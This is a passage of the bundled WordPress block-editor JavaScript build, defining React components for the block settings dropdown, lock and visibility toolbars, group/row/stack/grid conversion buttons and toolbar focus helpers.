51380 selectedBlocks,
51381 selectedClientIds
51382 },
51383 children: (fills) => {
51384 if (!fills?.length > 0 && !showConvertToGroupButton && !showLockButton) {
51385 return null;
51386 }
51387 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, { children: [
51388 showConvertToGroupButton && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51389 ConvertToGroupButton,
51390 {
51391 ...convertToGroupButtonProps,
51392 onClose: fillProps?.onClose
51393 }
51394 ),
51395 showLockButton && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51396 BlockLockMenuItem,
51397 {
51398 clientId: selectedClientIds[0]
51399 }
51400 ),
51401 showRenameButton && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51402 BlockRenameControl,
51403 {
51404 clientId: selectedClientIds[0]
51405 }
51406 ),
51407 showVisibilityButton && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51408 BlockVisibilityMenuItem,
51409 {
51410 clientIds: selectedClientIds
51411 }
51412 ),
51413 fills,
51414 selectedClientIds.length === 1 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51415 ModifyContentLockMenuItem,
51416 {
51417 clientId: selectedClientIds[0],
51418 onClose: fillProps?.onClose
51419 }
51420 ),
51421 fillProps?.count === 1 && !isContentOnly && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51422 BlockModeToggle,
51423 {
51424 clientId: fillProps?.firstBlockClientId,
51425 onToggle: fillProps?.onClose
51426 }
51427 )
51428 ] });
51429 }
51430 }
51431 );
51432};
51433function BlockSettingsMenuControls({ ...props }) {
51434 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalStyleProvider, { document, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Fill, { ...props }) });
51435}
51436BlockSettingsMenuControls.Slot = BlockSettingsMenuControlsSlot;
51437var block_settings_menu_controls_default = BlockSettingsMenuControls;
51438
51439
51440;// ./node_modules/@wordpress/block-editor/build-module/components/block-settings-menu/block-parent-selector-menu-item.js
51441
51442
51443
51444
51445
51446
51447
51448
51449
51450function BlockParentSelectorMenuItem({
51451 parentClientId,
51452 parentBlockType
51453}) {
51454 const isSmallViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
51455 const { selectBlock } = (0,external_wp_data_namespaceObject.useDispatch)(store);
51456 const menuItemRef = (0,external_wp_element_namespaceObject.useRef)();
51457 const gesturesProps = useShowHoveredOrFocusedGestures({
51458 ref: menuItemRef,
51459 highlightParent: true
51460 });
51461 if (!isSmallViewport) {
51462 return null;
51463 }
51464 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51465 external_wp_components_namespaceObject.MenuItem,
51466 {
51467 ...gesturesProps,
51468 ref: menuItemRef,
51469 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_icon_default, { icon: parentBlockType.icon }),
51470 onClick: () => selectBlock(parentClientId),
51471 children: (0,external_wp_i18n_namespaceObject.sprintf)(
51472 /* translators: %s: Name of the block's parent. */
51473 (0,external_wp_i18n_namespaceObject.__)("Select parent block (%s)"),
51474 parentBlockType.title
51475 )
51476 }
51477 );
51478}
51479
51480
51481;// ./node_modules/@wordpress/block-editor/build-module/components/block-settings-menu/block-settings-dropdown.js
51482
51483
51484
51485
51486
51487
51488
51489
51490
51491
51492
51493
51494
51495
51496
51497
51498
51499
51500const block_settings_dropdown_POPOVER_PROPS = {
51501 className: "block-editor-block-settings-menu__popover",
51502 placement: "bottom-start"
51503};
51504function CopyMenuItem({
51505 clientIds,
51506 onCopy,
51507 label,
51508 shortcut,
51509 eventType = "copy",
51510 __experimentalUpdateSelection: updateSelection = false
51511}) {
51512 const { getBlocksByClientId } = (0,external_wp_data_namespaceObject.useSelect)(store);
51513 const { removeBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(store);
51514 const notifyCopy = useNotifyCopy();
51515 const ref = (0,external_wp_compose_namespaceObject.useCopyToClipboard)(
51516 () => (0,external_wp_blocks_namespaceObject.serialize)(getBlocksByClientId(clientIds)),
51517 () => {
51518 switch (eventType) {
51519 case "copy":
51520 case "copyStyles":
51521 onCopy();
51522 notifyCopy(eventType, clientIds);
51523 break;
51524 case "cut":
51525 notifyCopy(eventType, clientIds);
51526 removeBlocks(clientIds, updateSelection);
51527 break;
51528 default:
51529 break;
51530 }
51531 }
51532 );
51533 const copyMenuItemLabel = label ? label : (0,external_wp_i18n_namespaceObject.__)("Copy");
51534 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, { ref, shortcut, children: copyMenuItemLabel });
51535}
51536function BlockSettingsDropdown({
51537 block,
51538 clientIds,
51539 children,
51540 __experimentalSelectBlock,
51541 ...props
51542}) {
51543 const currentClientId = block?.clientId;
51544 const count = clientIds.length;
51545 const firstBlockClientId = clientIds[0];
51546 const {
51547 firstParentClientId,
51548 parentBlockType,
51549 previousBlockClientId,
51550 selectedBlockClientIds,
51551 openedBlockSettingsMenu,
51552 isContentOnly,
51553 isZoomOut
51554 } = (0,external_wp_data_namespaceObject.useSelect)(
51555 (select) => {
51556 const {
51557 getBlockName,
51558 getBlockRootClientId,
51559 getPreviousBlockClientId,
51560 getSelectedBlockClientIds: getSelectedBlockClientIds2,
51561 getBlockAttributes,
51562 getOpenedBlockSettingsMenu,
51563 getBlockEditingMode,
51564 isZoomOut: _isZoomOut
51565 } = unlock(select(store));
51566 const { getActiveBlockVariation } = select(external_wp_blocks_namespaceObject.store);
51567 const _firstParentClientId = getBlockRootClientId(firstBlockClientId);
51568 const parentBlockName = _firstParentClientId && getBlockName(_firstParentClientId);
51569 return {
51570 firstParentClientId: _firstParentClientId,
51571 parentBlockType: _firstParentClientId && (getActiveBlockVariation(
51572 parentBlockName,
51573 getBlockAttributes(_firstParentClientId)
51574 ) || (0,external_wp_blocks_namespaceObject.getBlockType)(parentBlockName)),
51575 previousBlockClientId: getPreviousBlockClientId(firstBlockClientId),
51576 selectedBlockClientIds: getSelectedBlockClientIds2(),
51577 openedBlockSettingsMenu: getOpenedBlockSettingsMenu(),
51578 isContentOnly: getBlockEditingMode(firstBlockClientId) === "contentOnly",
51579 isZoomOut: _isZoomOut()
51580 };
51581 },
51582 [firstBlockClientId]
51583 );
51584 const { getBlockOrder, getSelectedBlockClientIds } = (0,external_wp_data_namespaceObject.useSelect)(store);
51585 const { setOpenedBlockSettingsMenu } = unlock(
51586 (0,external_wp_data_namespaceObject.useDispatch)(store)
51587 );
51588 const shortcuts = (0,external_wp_data_namespaceObject.useSelect)((select) => {
51589 const { getShortcutRepresentation } = select(external_wp_keyboardShortcuts_namespaceObject.store);
51590 return {
51591 copy: getShortcutRepresentation("core/block-editor/copy"),
51592 cut: getShortcutRepresentation("core/block-editor/cut"),
51593 duplicate: getShortcutRepresentation(
51594 "core/block-editor/duplicate"
51595 ),
51596 remove: getShortcutRepresentation("core/block-editor/remove"),
51597 insertAfter: getShortcutRepresentation(
51598 "core/block-editor/insert-after"
51599 ),
51600 insertBefore: getShortcutRepresentation(
51601 "core/block-editor/insert-before"
51602 )
51603 };
51604 }, []);
51605 const hasSelectedBlocks = selectedBlockClientIds.length > 0;
51606 async function updateSelectionAfterDuplicate(clientIdsPromise) {
51607 if (!__experimentalSelectBlock) {
51608 return;
51609 }
51610 const ids = await clientIdsPromise;
51611 if (ids && ids[0]) {
51612 __experimentalSelectBlock(ids[0], false);
51613 }
51614 }
51615 function updateSelectionAfterRemove() {
51616 if (!__experimentalSelectBlock) {
51617 return;
51618 }
51619 let blockToFocus = previousBlockClientId || firstParentClientId;
51620 if (!blockToFocus) {
51621 blockToFocus = getBlockOrder()[0];
51622 }
51623 const shouldUpdateSelection = hasSelectedBlocks && getSelectedBlockClientIds().length === 0;
51624 __experimentalSelectBlock(blockToFocus, shouldUpdateSelection);
51625 }
51626 const parentBlockIsSelected = selectedBlockClientIds?.includes(firstParentClientId);
51627 const open = !currentClientId ? void 0 : openedBlockSettingsMenu === currentClientId || false;
51628 function onToggle(localOpen) {
51629 if (localOpen && openedBlockSettingsMenu !== currentClientId) {
51630 setOpenedBlockSettingsMenu(currentClientId);
51631 } else if (!localOpen && openedBlockSettingsMenu && openedBlockSettingsMenu === currentClientId) {
51632 setOpenedBlockSettingsMenu(void 0);
51633 }
51634 }
51635 const shouldShowBlockParentMenuItem = !parentBlockIsSelected && !!firstParentClientId;
51636 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51637 BlockActions,
51638 {
51639 clientIds,
51640 __experimentalUpdateSelection: !__experimentalSelectBlock,
51641 children: ({
51642 canCopyStyles,
51643 canDuplicate,
51644 canInsertBlock,
51645 canRemove,
51646 onDuplicate,
51647 onInsertAfter,
51648 onInsertBefore,
51649 onRemove,
51650 onCopy,
51651 onPasteStyles
51652 }) => {
51653 const isEmpty = !canRemove && !canDuplicate && !canInsertBlock && isContentOnly;
51654 if (isEmpty) {
51655 return null;
51656 }
51657 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51658 external_wp_components_namespaceObject.DropdownMenu,
51659 {
51660 icon: more_vertical_default,
51661 label: (0,external_wp_i18n_namespaceObject.__)("Options"),
51662 className: "block-editor-block-settings-menu",
51663 popoverProps: block_settings_dropdown_POPOVER_PROPS,
51664 open,
51665 onToggle,
51666 noIcons: true,
51667 ...props,
51668 children: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
51669 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, { children: [
51670 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51671 block_settings_menu_first_item_default.Slot,
51672 {
51673 fillProps: { onClose }
51674 }
51675 ),
51676 shouldShowBlockParentMenuItem && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51677 BlockParentSelectorMenuItem,
51678 {
51679 parentClientId: firstParentClientId,
51680 parentBlockType
51681 }
51682 ),
51683 count === 1 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51684 block_html_convert_button_default,
51685 {
51686 clientId: firstBlockClientId
51687 }
51688 ),
51689 !isContentOnly && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51690 CopyMenuItem,
51691 {
51692 clientIds,
51693 onCopy,
51694 shortcut: shortcuts.copy
51695 }
51696 ),
51697 !isContentOnly && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51698 CopyMenuItem,
51699 {
51700 clientIds,
51701 label: (0,external_wp_i18n_namespaceObject.__)("Cut"),
51702 eventType: "cut",
51703 shortcut: shortcuts.cut,
51704 __experimentalUpdateSelection: !__experimentalSelectBlock
51705 }
51706 ),
51707 canDuplicate && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51708 external_wp_components_namespaceObject.MenuItem,
51709 {
51710 onClick: (0,external_wp_compose_namespaceObject.pipe)(
51711 onClose,
51712 onDuplicate,
51713 updateSelectionAfterDuplicate
51714 ),
51715 shortcut: shortcuts.duplicate,
51716 children: (0,external_wp_i18n_namespaceObject.__)("Duplicate")
51717 }
51718 ),
51719 canInsertBlock && !isZoomOut && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
51720 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51721 external_wp_components_namespaceObject.MenuItem,
51722 {
51723 onClick: (0,external_wp_compose_namespaceObject.pipe)(
51724 onClose,
51725 onInsertBefore
51726 ),
51727 shortcut: shortcuts.insertBefore,
51728 children: (0,external_wp_i18n_namespaceObject.__)("Add before")
51729 }
51730 ),
51731 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51732 external_wp_components_namespaceObject.MenuItem,
51733 {
51734 onClick: (0,external_wp_compose_namespaceObject.pipe)(
51735 onClose,
51736 onInsertAfter
51737 ),
51738 shortcut: shortcuts.insertAfter,
51739 children: (0,external_wp_i18n_namespaceObject.__)("Add after")
51740 }
51741 )
51742 ] }),
51743 count === 1 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51744 block_comment_icon_slot_default.Slot,
51745 {
51746 fillProps: {
51747 clientId: firstBlockClientId,
51748 onClose
51749 }
51750 }
51751 )
51752 ] }),
51753 canCopyStyles && !isContentOnly && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, { children: [
51754 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51755 CopyMenuItem,
51756 {
51757 clientIds,
51758 onCopy,
51759 label: (0,external_wp_i18n_namespaceObject.__)("Copy styles"),
51760 eventType: "copyStyles"
51761 }
51762 ),
51763 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, { onClick: onPasteStyles, children: (0,external_wp_i18n_namespaceObject.__)("Paste styles") })
51764 ] }),
51765 !isContentOnly && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51766 block_settings_menu_controls_default.Slot,
51767 {
51768 fillProps: {
51769 onClose,
51770 count,
51771 firstBlockClientId
51772 },
51773 clientIds
51774 }
51775 ),
51776 typeof children === "function" ? children({ onClose }) : external_wp_element_namespaceObject.Children.map(
51777 (child) => (0,external_wp_element_namespaceObject.cloneElement)(child, { onClose })
51778 ),
51779 canRemove && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51780 external_wp_components_namespaceObject.MenuItem,
51781 {
51782 onClick: (0,external_wp_compose_namespaceObject.pipe)(
51783 onClose,
51784 onRemove,
51785 updateSelectionAfterRemove
51786 ),
51787 shortcut: shortcuts.remove,
51788 children: (0,external_wp_i18n_namespaceObject.__)("Delete")
51789 }
51790 ) })
51791 ] })
51792 }
51793 );
51794 }
51795 }
51796 );
51797}
51798var block_settings_dropdown_default = BlockSettingsDropdown;
51799
51800
51801;// ./node_modules/@wordpress/block-editor/build-module/components/collab/block-comment-icon-toolbar-slot.js
51802
51803const CommentIconToolbarSlotFill = (0,external_wp_components_namespaceObject.createSlotFill)(
51804 Symbol("CommentIconToolbarSlotFill")
51805);
51806var block_comment_icon_toolbar_slot_default = CommentIconToolbarSlotFill;
51807
51808
51809;// ./node_modules/@wordpress/block-editor/build-module/components/block-settings-menu/index.js
51810
51811
51812
51813
51814function BlockSettingsMenu({ clientIds, ...props }) {
51815 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.ToolbarGroup, { children: [
51816 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_comment_icon_toolbar_slot_default.Slot, {}),
51817 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarItem, { children: (toggleProps) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51818 block_settings_dropdown_default,
51819 {
51820 clientIds,
51821 toggleProps,
51822 ...props
51823 }
51824 ) })
51825 ] });
51826}
51827var block_settings_menu_default = BlockSettingsMenu;
51828
51829
51830;// ./node_modules/@wordpress/block-editor/build-module/components/block-lock/toolbar.js
51831
51832
51833
51834
51835
51836
51837
51838function BlockLockToolbar({ clientId }) {
51839 const { canLock, isLocked } = useBlockLock(clientId);
51840 const [isModalOpen, toggleModal] = (0,external_wp_element_namespaceObject.useReducer)(
51841 (isActive) => !isActive,
51842 false
51843 );
51844 const hasLockButtonShownRef = (0,external_wp_element_namespaceObject.useRef)(false);
51845 (0,external_wp_element_namespaceObject.useEffect)(() => {
51846 if (isLocked) {
51847 hasLockButtonShownRef.current = true;
51848 }
51849 }, [isLocked]);
51850 if (!isLocked && !hasLockButtonShownRef.current) {
51851 return null;
51852 }
51853 let label = isLocked ? (0,external_wp_i18n_namespaceObject.__)("Unlock") : (0,external_wp_i18n_namespaceObject.__)("Lock");
51854 if (!canLock && isLocked) {
51855 label = (0,external_wp_i18n_namespaceObject.__)("Locked");
51856 }
51857 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
51858 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { className: "block-editor-block-lock-toolbar", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51859 external_wp_components_namespaceObject.ToolbarButton,
51860 {
51861 disabled: !canLock,
51862 icon: isLocked ? lock_default : unlock_default,
51863 label,
51864 onClick: toggleModal,
51865 "aria-expanded": isModalOpen,
51866 "aria-haspopup": "dialog"
51867 }
51868 ) }),
51869 isModalOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockLockModal, { clientId, onClose: toggleModal })
51870 ] });
51871}
51872
51873
51874;// ./node_modules/@wordpress/block-editor/build-module/components/block-visibility/toolbar.js
51875
51876
51877
51878
51879
51880
51881
51882
51883
51884function BlockVisibilityToolbar({ clientIds }) {
51885 const { blocks, canToggleBlockVisibility } = (0,external_wp_data_namespaceObject.useSelect)(
51886 (select) => {
51887 const { getBlockName, getBlocksByClientId } = select(store);
51888 const _blocks = getBlocksByClientId(clientIds);
51889 return {
51890 blocks: _blocks,
51891 canToggleBlockVisibility: _blocks.every(
51892 ({ clientId }) => (0,external_wp_blocks_namespaceObject.hasBlockSupport)(
51893 getBlockName(clientId),
51894 "visibility",
51895 true
51896 )
51897 )
51898 };
51899 },
51900 [clientIds]
51901 );
51902 const hasHiddenBlock = blocks.some(
51903 (block) => block.attributes.metadata?.blockVisibility === false
51904 );
51905 const hasBlockVisibilityButtonShownRef = (0,external_wp_element_namespaceObject.useRef)(false);
51906 const { updateBlockAttributes } = (0,external_wp_data_namespaceObject.useDispatch)(store);
51907 (0,external_wp_element_namespaceObject.useEffect)(() => {
51908 if (hasHiddenBlock) {
51909 hasBlockVisibilityButtonShownRef.current = true;
51910 }
51911 }, [hasHiddenBlock]);
51912 if (!hasHiddenBlock && !hasBlockVisibilityButtonShownRef.current) {
51913 return null;
51914 }
51915 const toggleBlockVisibility = () => {
51916 const attributesByClientId = Object.fromEntries(
51917 blocks?.map(({ clientId, attributes }) => [
51918 clientId,
51919 {
51920 metadata: utils_cleanEmptyObject({
51921 ...attributes?.metadata,
51922 blockVisibility: hasHiddenBlock ? void 0 : false
51923 })
51924 }
51925 ])
51926 );
51927 updateBlockAttributes(clientIds, attributesByClientId, {
51928 uniqueByBlock: true
51929 });
51930 };
51931 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { className: "block-editor-block-lock-toolbar", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51932 external_wp_components_namespaceObject.ToolbarButton,
51933 {
51934 disabled: !canToggleBlockVisibility,
51935 icon: hasHiddenBlock ? unseen_default : seen_default,
51936 label: hasHiddenBlock ? (0,external_wp_i18n_namespaceObject.__)("Hidden") : (0,external_wp_i18n_namespaceObject.__)("Visible"),
51937 onClick: toggleBlockVisibility
51938 }
51939 ) }) });
51940}
51941
51942
51943;// ./node_modules/@wordpress/icons/build-module/library/group.js
51944
51945
51946var group_group_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18 4h-7c-1.1 0-2 .9-2 2v3H6c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2v-3h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-7c0-.3.2-.5.5-.5h3V13c0 1.1.9 2 2 2h2.5v3zm0-4.5H11c-.3 0-.5-.2-.5-.5v-2.5H13c.3 0 .5.2.5.5v2.5zm5-.5c0 .3-.2.5-.5.5h-3V11c0-1.1-.9-2-2-2h-2.5V6c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5v7z" }) });
51947
51948
51949;// ./node_modules/@wordpress/icons/build-module/library/row.js
51950
51951
51952var row_row_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4 6.5h5a2 2 0 0 1 2 2v7a2 2 0 0 1-2 2H4V16h5a.5.5 0 0 0 .5-.5v-7A.5.5 0 0 0 9 8H4V6.5Zm16 0h-5a2 2 0 0 0-2 2v7a2 2 0 0 0 2 2h5V16h-5a.5.5 0 0 1-.5-.5v-7A.5.5 0 0 1 15 8h5V6.5Z" }) });
51953
51954
51955;// ./node_modules/@wordpress/icons/build-module/library/stack.js
51956
51957
51958var stack_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.5 4v5a2 2 0 0 1-2 2h-7a2 2 0 0 1-2-2V4H8v5a.5.5 0 0 0 .5.5h7A.5.5 0 0 0 16 9V4h1.5Zm0 16v-5a2 2 0 0 0-2-2h-7a2 2 0 0 0-2 2v5H8v-5a.5.5 0 0 1 .5-.5h7a.5.5 0 0 1 .5.5v5h1.5Z" }) });
51959
51960
51961;// ./node_modules/@wordpress/icons/build-module/library/grid.js
51962
51963
51964var grid_grid_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51965 external_wp_primitives_namespaceObject.Path,
51966 {
51967 d: "m3 5c0-1.10457.89543-2 2-2h13.5c1.1046 0 2 .89543 2 2v13.5c0 1.1046-.8954 2-2 2h-13.5c-1.10457 0-2-.8954-2-2zm2-.5h6v6.5h-6.5v-6c0-.27614.22386-.5.5-.5zm-.5 8v6c0 .2761.22386.5.5.5h6v-6.5zm8 0v6.5h6c.2761 0 .5-.2239.5-.5v-6zm0-8v6.5h6.5v-6c0-.27614-.2239-.5-.5-.5z",
51968 fillRule: "evenodd",
51969 clipRule: "evenodd"
51970 }
51971) });
51972
51973
51974;// ./node_modules/@wordpress/block-editor/build-module/components/convert-to-group-buttons/toolbar.js
51975
51976
51977
51978
51979
51980
51981
51982
51983const layouts = {
51984 group: { type: "constrained" },
51985 row: { type: "flex", flexWrap: "nowrap" },
51986 stack: { type: "flex", orientation: "vertical" },
51987 grid: { type: "grid" }
51988};
51989function BlockGroupToolbar() {
51990 const { blocksSelection, clientIds, groupingBlockName, isGroupable } = useConvertToGroupButtonProps();
51991 const { replaceBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(store);
51992 const { canRemove, variations } = (0,external_wp_data_namespaceObject.useSelect)(
51993 (select) => {
51994 const { canRemoveBlocks } = select(store);
51995 const { getBlockVariations } = select(external_wp_blocks_namespaceObject.store);
51996 return {
51997 canRemove: canRemoveBlocks(clientIds),
51998 variations: getBlockVariations(
51999 groupingBlockName,
52000 "transform"
52001 )
52002 };
52003 },
52004 [clientIds, groupingBlockName]
52005 );
52006 const onConvertToGroup = (layout) => {
52007 const newBlocks = (0,external_wp_blocks_namespaceObject.switchToBlockType)(
52008 blocksSelection,
52009 groupingBlockName
52010 );
52011 if (typeof layout !== "string") {
52012 layout = "group";
52013 }
52014 if (newBlocks && newBlocks.length > 0) {
52015 newBlocks[0].attributes.layout = layouts[layout];
52016 replaceBlocks(clientIds, newBlocks);
52017 }
52018 };
52019 const onConvertToRow = () => onConvertToGroup("row");
52020 const onConvertToStack = () => onConvertToGroup("stack");
52021 const onConvertToGrid = () => onConvertToGroup("grid");
52022 if (!isGroupable || !canRemove) {
52023 return null;
52024 }
52025 const canInsertRow = !!variations.find(
52026 ({ name }) => name === "group-row"
52027 );
52028 const canInsertStack = !!variations.find(
52029 ({ name }) => name === "group-stack"
52030 );
52031 const canInsertGrid = !!variations.find(
52032 ({ name }) => name === "group-grid"
52033 );
52034 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.ToolbarGroup, { children: [
52035 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52036 external_wp_components_namespaceObject.ToolbarButton,
52037 {
52038 icon: group_group_default,
52039 label: (0,external_wp_i18n_namespaceObject._x)("Group", "action: convert blocks to group"),
52040 onClick: onConvertToGroup
52041 }
52042 ),
52043 canInsertRow && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52044 external_wp_components_namespaceObject.ToolbarButton,
52045 {
52046 icon: row_row_default,
52047 label: (0,external_wp_i18n_namespaceObject._x)("Row", "action: convert blocks to row"),
52048 onClick: onConvertToRow
52049 }
52050 ),
52051 canInsertStack && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52052 external_wp_components_namespaceObject.ToolbarButton,
52053 {
52054 icon: stack_default,
52055 label: (0,external_wp_i18n_namespaceObject._x)("Stack", "action: convert blocks to stack"),
52056 onClick: onConvertToStack
52057 }
52058 ),
52059 canInsertGrid && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52060 external_wp_components_namespaceObject.ToolbarButton,
52061 {
52062 icon: grid_grid_default,
52063 label: (0,external_wp_i18n_namespaceObject._x)("Grid", "action: convert blocks to grid"),
52064 onClick: onConvertToGrid
52065 }
52066 )
52067 ] });
52068}
52069var toolbar_default = BlockGroupToolbar;
52070
52071
52072;// ./node_modules/@wordpress/block-editor/build-module/components/block-edit-visually-button/index.js
52073
52074
52075
52076
52077
52078function BlockEditVisuallyButton({ clientIds }) {
52079 const clientId = clientIds.length === 1 ? clientIds[0] : void 0;
52080 const canEditVisually = (0,external_wp_data_namespaceObject.useSelect)(
52081 (select) => !!clientId && select(store).getBlockMode(clientId) === "html",
52082 [clientId]
52083 );
52084 const { toggleBlockMode } = (0,external_wp_data_namespaceObject.useDispatch)(store);
52085 if (!canEditVisually) {
52086 return null;
52087 }
52088 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52089 external_wp_components_namespaceObject.ToolbarButton,
52090 {
52091 onClick: () => {
52092 toggleBlockMode(clientId);
52093 },
52094 children: (0,external_wp_i18n_namespaceObject.__)("Edit visually")
52095 }
52096 ) });
52097}
52098
52099
52100;// ./node_modules/@wordpress/block-editor/build-module/components/block-toolbar/block-name-context.js
52101
52102const __unstableBlockNameContext = (0,external_wp_element_namespaceObject.createContext)("");
52103__unstableBlockNameContext.displayName = "__unstableBlockNameContext";
52104var block_name_context_default = __unstableBlockNameContext;
52105
52106
52107;// ./node_modules/@wordpress/block-editor/build-module/components/navigable-toolbar/index.js
52108
52109
52110
52111
52112
52113
52114
52115
52116
52117
52118function hasOnlyToolbarItem(elements) {
52119 const dataProp = "toolbarItem";
52120 return !elements.some((element) => !(dataProp in element.dataset));
52121}
52122function getAllFocusableToolbarItemsIn(container) {
52123 return Array.from(
52124 container.querySelectorAll("[data-toolbar-item]:not([disabled])")
52125 );
52126}
52127function hasFocusWithin(container) {
52128 return container.contains(container.ownerDocument.activeElement);
52129}
52130function focusFirstTabbableIn(container) {
52131 const [firstTabbable] = external_wp_dom_namespaceObject.focus.tabbable.find(container);
52132 if (firstTabbable) {
52133 firstTabbable.focus({
52134 // When focusing newly mounted toolbars,
52135 // the position of the popover is often not right on the first render
52136 // This prevents the layout shifts when focusing the dialogs.
52137 preventScroll: true
52138 });
52139 }
52140}
52141function useIsAccessibleToolbar(toolbarRef) {
52142 const initialAccessibleToolbarState = true;
52143 const [isAccessibleToolbar, setIsAccessibleToolbar] = (0,external_wp_element_namespaceObject.useState)(
52144 initialAccessibleToolbarState
52145 );
52146 const determineIsAccessibleToolbar = (0,external_wp_element_namespaceObject.useCallback)(() => {
52147 const tabbables = external_wp_dom_namespaceObject.focus.tabbable.find(toolbarRef.current);
52148 const onlyToolbarItem = hasOnlyToolbarItem(tabbables);
52149 if (!onlyToolbarItem) {
52150 external_wp_deprecated_default()("Using custom components as toolbar controls", {
52151 since: "5.6",
